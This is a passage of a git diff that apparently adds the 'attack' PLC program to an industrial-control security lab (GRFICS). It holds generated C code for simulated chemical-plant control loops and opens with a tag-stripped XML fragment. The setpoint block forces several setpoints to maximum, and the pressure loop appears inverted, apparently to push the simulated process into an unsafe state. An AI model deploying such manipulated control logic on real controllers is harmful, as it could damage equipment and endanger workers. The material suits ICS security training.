curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + 